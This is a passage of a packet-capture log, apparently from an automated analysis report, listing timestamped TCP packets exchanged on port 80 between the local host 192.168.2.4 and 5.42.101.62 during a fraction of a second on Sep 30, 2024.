Sep 30, 2024 12:22:27.249083042 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.249103069 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.249119043 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.249120951 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.249136925 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.249151945 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.249186039 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.249202013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.249217033 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.249222040 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.249236107 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.249255896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.254359007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.254379034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.254412889 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.254425049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.254437923 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.254447937 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.254462004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.254477978 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.254525900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.254554033 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.254561901 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.254595041 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.254626036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.254638910 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.254661083 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.254674911 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.260221958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.260236025 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.260251999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.260279894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.260294914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.260303020 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.260324001 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.260329962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.260339975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.260358095 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.260380030 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.260410070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.260426044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.260445118 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.260466099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.265233994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.265285969 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.265295982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.265336037 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.265352964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.265356064 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.265372992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.265388012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.265399933 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.265439987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.265471935 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.265486956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.265502930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.265511990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.265522957 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.265536070 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.270522118 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.270554066 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.270569086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.270570040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.270586014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.270587921 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.270598888 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.270613909 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.270783901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.270800114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.270817041 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.270829916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.270832062 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.270848036 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.270870924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.275068045 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.275099993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.275116920 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.275125980 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.275139093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.275156975 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.275202990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.275230885 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.275239944 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.275260925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.275265932 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.275299072 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.275305986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.275346041 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.275367975 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.275388956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.279444933 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.279459953 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.279485941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.279493093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.279500961 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.279512882 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.279519081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.279529095 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.279536009 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.279551983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.279553890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.279577017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.279592037 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.285152912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.285209894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.285219908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.285234928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.285254002 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.285264015 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.285275936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.285290956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.285306931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.285311937 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.285336971 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.285346985 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.285366058 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.285389900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.289144993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.289201021 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.289216042 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.289230108 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.289247036 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.289256096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.289261103 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.289271116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.289284945 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.289299965 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.289307117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.289321899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.289344072 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.289355993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.289824009 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.289866924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.293401957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.293430090 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.293446064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.293461084 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.293466091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.293481112 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.293481112 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.293504000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.293526888 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.293663979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.293705940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.293731928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.293775082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.296984911 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.297010899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.297039986 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.297049046 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.297064066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.297086954 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.297090054 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.297105074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.297121048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.297125101 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.297141075 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.297154903 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.297205925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.297241926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.300620079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.300671101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.300678015 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.300685883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.300700903 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.300703049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.300714016 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.300719023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.300739050 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.300750017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.300939083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.300980091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.300995111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.301034927 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.304336071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.304352045 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.304368973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.304387093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.304395914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.304395914 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.304410934 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.304410934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.304425001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.304425955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.304440975 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.304441929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.304455996 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.304471016 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.324022055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.324064016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.324073076 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.324095964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.324110985 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.324126005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.324131966 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.324142933 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.324150085 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.324157000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.324181080 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.330948114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.330964088 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.330979109 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.330998898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.331065893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.331088066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.331105947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.331127882 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.331144094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.331165075 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.331178904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.331191063 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.331206083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.331231117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.331243992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.331285000 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.331300974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.331322908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.331340075 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.332170010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.332184076 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.332200050 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.332211971 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.332217932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.332226038 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.332242012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.332256079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.335859060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.335894108 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.335926056 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.335928917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.335937023 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.335962057 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.336018085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.336049080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.336055040 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.336066008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.336081982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.336086988 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.336097956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.336102009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.336121082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.336136103 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.347127914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.347161055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.347173929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.347179890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.347196102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.347213030 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.347217083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.347230911 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.347245932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.347250938 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.347264051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.347270012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.347285986 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.347299099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.347342014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.347356081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.347373009 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.347398043 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.347400904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.347408056 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.347439051 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.348068953 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.348084927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.348099947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.348110914 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.348114014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.348128080 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.348148108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.352241993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.352267027 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.352289915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.352293015 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.352308035 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.352318048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.352324009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.352353096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.352353096 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.352369070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.352386951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.352390051 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.352401972 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.352404118 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.352418900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.352435112 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.357497931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.357537985 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.357548952 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.357558012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.357580900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.357593060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.357597113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.357614994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.357628107 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.357637882 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.357654095 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.357675076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.357705116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.357728004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.357748985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.357764959 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.362044096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.362067938 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.362102032 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.362107038 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.362108946 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.362128973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.362139940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.362164021 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.362165928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.362189054 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.362202883 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.362212896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.362227917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.362251043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.366359949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.366406918 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.366420031 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.366455078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.366461992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.366488934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.366493940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.366522074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.366532087 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.366556883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.366565943 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.366592884 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.366596937 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.366636992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.371917009 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.371947050 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.371969938 CEST	52534	80	192.168.2.4	5.42.101.62
